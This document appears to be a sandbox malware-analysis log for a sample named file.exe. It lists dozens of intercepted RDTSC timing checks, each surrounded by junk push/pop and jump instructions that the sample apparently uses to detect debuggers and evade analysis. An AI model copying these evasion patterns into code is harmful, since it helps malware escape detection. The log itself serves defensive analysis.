Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC56 second address: 7BBC5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC5A second address: 7BBC66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBC66 second address: 7BBC7C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F9E78CDB7A6h 0x00000010 jns 00007F9E78CDB7A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBDD7 second address: 7BBDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F9E7960D382h 0x0000000b jp 00007F9E7960D376h 0x00000011 jnl 00007F9E7960D376h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C20D7 second address: 7C20DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C20DF second address: 7C2109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007F9E7960D376h 0x00000013 jmp 00007F9E7960D386h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0AE0 second address: 7C0B0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B7h 0x00000007 jmp 00007F9E78CDB7ABh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0B0C second address: 7C0B1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0B1A second address: 7C0B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C107A second address: 7C1087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F9E7960D37Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C11A0 second address: 7C11A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C131D second address: 7C1321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1630 second address: 7C1634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1634 second address: 7C1653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D383h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1653 second address: 7C1669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7ACh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A56 second address: 7C1A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A5A second address: 7C1A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7ABh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A6B second address: 7C1A71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A71 second address: 7C1A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1A84 second address: 7C1AAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F9E7960D376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F9E7960D384h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1AAC second address: 7C1AB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1AB3 second address: 7C1ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1ABC second address: 7C1AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDD83 second address: 7CDDB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jnp 00007F9E7960D376h 0x00000010 pop ebx 0x00000011 pushad 0x00000012 ja 00007F9E7960D376h 0x00000018 jo 00007F9E7960D376h 0x0000001e jmp 00007F9E7960D385h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDDB7 second address: 7CDDC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9E78CDB7AAh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDDC8 second address: 7CDDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9E7960D376h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDA92 second address: 7CDA99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1AB4 second address: 7D1ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9E7960D37Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1ACB second address: 7D1ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C21 second address: 7D1C5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D387h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F9E7960D37Fh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C5A second address: 7D1C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5CC6 second address: 7D5CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5A57 second address: 7D5A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAA30 second address: 7DAA37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA1DC second address: 7DA1E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2FF7 second address: 7E3000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3000 second address: 7E3005 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E330E second address: 7E332D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D388h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E332D second address: 7E333E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7ABh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E333E second address: 7E334F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D37Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3641 second address: 7E3647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E162 second address: 78E166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38B3 second address: 7E38FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnc 00007F9E78CDB7A6h 0x0000000b jmp 00007F9E78CDB7B2h 0x00000010 popad 0x00000011 push eax 0x00000012 jc 00007F9E78CDB7A6h 0x00000018 jnc 00007F9E78CDB7A6h 0x0000001e pop eax 0x0000001f pop edx 0x00000020 pop eax 0x00000021 pushad 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 jmp 00007F9E78CDB7B2h 0x0000002a pop edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E38FC second address: 7E3900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3900 second address: 7E390B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E43ED second address: 7E43F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA1FD second address: 7EA201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA4D9 second address: 7EA4DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EAABD second address: 7EAAE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7B2h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F9E78CDB7A6h 0x00000014 jnl 00007F9E78CDB7A6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EAAE4 second address: 7EAAEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EAAEA second address: 7EAAF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EAAF0 second address: 7EAAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBC85 second address: 7EBC8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9E78CDB7A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBC8F second address: 7EBC9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F9E7960D376h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F19B9 second address: 7F19D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F9E78CDB7B3h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5BC5 second address: 7F5BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D382h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4E25 second address: 7F4E29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4E29 second address: 7F4E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9E7960D381h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4E40 second address: 7F4E4A instructions: 0x00000000 rdtsc 0x00000002 js 00007F9E78CDB7AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4E4A second address: 7F4E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4FD6 second address: 7F4FE2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F9E78CDB7A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5178 second address: 7F517C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F517C second address: 7F51C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E78CDB7B1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F9E78CDB7AEh 0x00000011 popad 0x00000012 pushad 0x00000013 jnp 00007F9E78CDB7B8h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F51C0 second address: 7F51CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9E7960D376h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F559F second address: 7F55B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9E78CDB7A6h 0x0000000a jmp 00007F9E78CDB7ACh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F55B5 second address: 7F55D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D386h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F55D2 second address: 7F55E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F58C0 second address: 7F58DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D385h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F58DE second address: 7F58F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9E78CDB7B3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDA53 second address: 7FDA62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F9E7960D376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDA62 second address: 7FDA88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F9E78CDB7B5h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F9E78CDB7A6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDD5B second address: 7FDD67 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDD67 second address: 7FDD6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDFF1 second address: 7FDFF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDFF5 second address: 7FE003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F9E78CDB7A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF523 second address: 7FF529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807F68 second address: 807F80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F9E78CDB7A6h 0x00000009 jmp 00007F9E78CDB7ABh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807F80 second address: 807F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8079E1 second address: 8079E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807C45 second address: 807C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E7960D380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8135B8 second address: 8135D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8135D2 second address: 8135E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9E7960D381h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 818289 second address: 81828D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817E06 second address: 817E18 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F9E7960D37Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817E18 second address: 817E41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jns 00007F9E78CDB7A6h 0x00000012 pop edi 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817E41 second address: 817E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 817E46 second address: 817E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829EE9 second address: 829EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9E7960D376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829EF4 second address: 829F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9E78CDB7B8h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829F12 second address: 829F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831C38 second address: 831C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353A8 second address: 8353AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353AE second address: 8353C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9E78CDB7AFh 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353C9 second address: 835409 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F9E7960D37Dh 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9E7960D385h 0x00000010 jmp 00007F9E7960D388h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835409 second address: 835424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9E78CDB7ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835424 second address: 83542C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83542C second address: 83543B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9E78CDB7AAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
